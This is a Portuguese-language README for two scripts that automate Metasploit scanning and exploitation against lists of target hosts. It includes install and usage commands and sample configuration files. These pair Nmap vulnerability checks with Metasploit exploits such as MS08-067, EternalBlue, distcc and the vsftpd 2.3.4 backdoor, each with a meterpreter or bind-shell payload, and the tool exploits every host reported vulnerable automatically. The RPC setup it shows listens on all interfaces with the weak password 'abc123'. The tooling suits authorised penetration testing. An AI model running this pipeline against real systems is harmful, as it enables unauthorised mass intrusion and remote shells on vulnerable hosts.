
Automatize a varredura e exploração do Metasploit
V2.0 - modificado para usar Python 3
Isto foi testado apenas no Kali.
Depende do módulo pymetasploit3 para Python, descrito em detalhes aqui: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Instale os pacotes necessários do Kali e a gem PostgreSQL para Ruby:
apt-get install postgresql libpq-dev git-core
gem install pg
Instale a versão atual do módulo pymetasploit3 para Python 3:
pip3 install pymetasploit3
Antes de executar qualquer um dos scripts, carregue o msfconsole e inicie o serviço MSGRPC. O MSGRPC pode ser iniciado com msfrpcd no Metasploit da seguinte forma:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
Os resultados das varreduras e/ou exploração aparecerão no console do Metasploit e no(s) arquivo(s) de saída (msf_scan_output.txt e exploitivator_output.txt).
Use o MSFScan para executar múltiplas varreduras do Metasploit contra um grupo de hosts alvo. Use o Exploitivator para executar varreduras de script Nmap contra um grupo de hosts alvo e explorar automaticamente qualquer um reportado como vulnerável.
Uso na linha de comando:
Exemplos: A aplicação pode ser executada da seguinte forma, onde '10.128.108.178' é o endereço IP da máquina de ataque, 'hosts.txt' é uma lista de hosts alvo, 'msf' é o nome de usuário do Metasploit Postgres e 'abc123' é a senha do Metasploit Postgres:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
Uso na linha de comando:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
Exemplos: A aplicação pode ser executada da seguinte forma, onde 'hosts.txt' é uma lista de hosts alvo, 'msf' é o nome de usuário do Metasploit Postgres e 'abc123' é a senha do Metasploit Postgres:
./msf_scan.py hosts.txt msf abc123
Para executar com 'hosts.txt' como uma lista de hosts alvo, usando o nome de usuário padrão do Metasploit Postgres (msf) e a senha padrão do Metasploit Postgres (abc123) do script:
./msf_scan.py hosts.txt
Ambos os scripts dependem de arquivos de configuração para fornecer detalhes das varreduras e ataques Nmap e Metasploit necessários.
O script usa um arquivo de configuração com o nome 'scan_types.cfg'. Este contém uma lista de caminhos para quaisquer varreduras do Metasploit que devem ser executadas contra os alvos. Ex.:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
Este script usa dois arquivos de configuração (exploitivator_scan.cfg e exploitivator.cfg). Um para especificar varreduras Nmap e parâmetros (exploitivator_scan.cfg), e outro para especificar payloads e parâmetros do Metasploit (exploitivator.cfg). Estes usam '##' como separador e têm os seguintes formatos.
exploitivator_scan.cfg:
[Rótulo]##[Parâmetros da linha de comando Nmap]##[Parâmetros da linha de comando Nmap para saída de arquivo]##[Opcional - comando grep a ser usado se a saída greppable do Nmap estiver sendo usada]
No formato acima:
1) A primeira seção é um rótulo que liga a varredura ao exploit
2) A segunda seção é a parte da linha de comando do Nmap que especifica detalhes do tipo de varredura a ser executada, como porta e script
3) A terceira seção é a parte da linha de comando do Nmap que define o arquivo de saída do Nmap (Exploitivator lida com saída XML ou greppable do Nmap)
4) A quarta seção opcional é o comando grep que você deseja usar para identificar um alvo vulnerável dentro de um arquivo '.gnmap'
Um exemplo de conteúdo do arquivo é mostrado abaixo:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[Rótulo]##[Caminho do exploit do Metasploit]##[Opcional - Detalhes do payload do Metasploit]
Um exemplo de conteúdo do arquivo é mostrado abaixo:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
Iniciando e conectando ao MSGRPC: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Definindo RHOSTS para usar um arquivo em vez de um intervalo: http://travisaltman.com/metasploit-set-rhosts-file/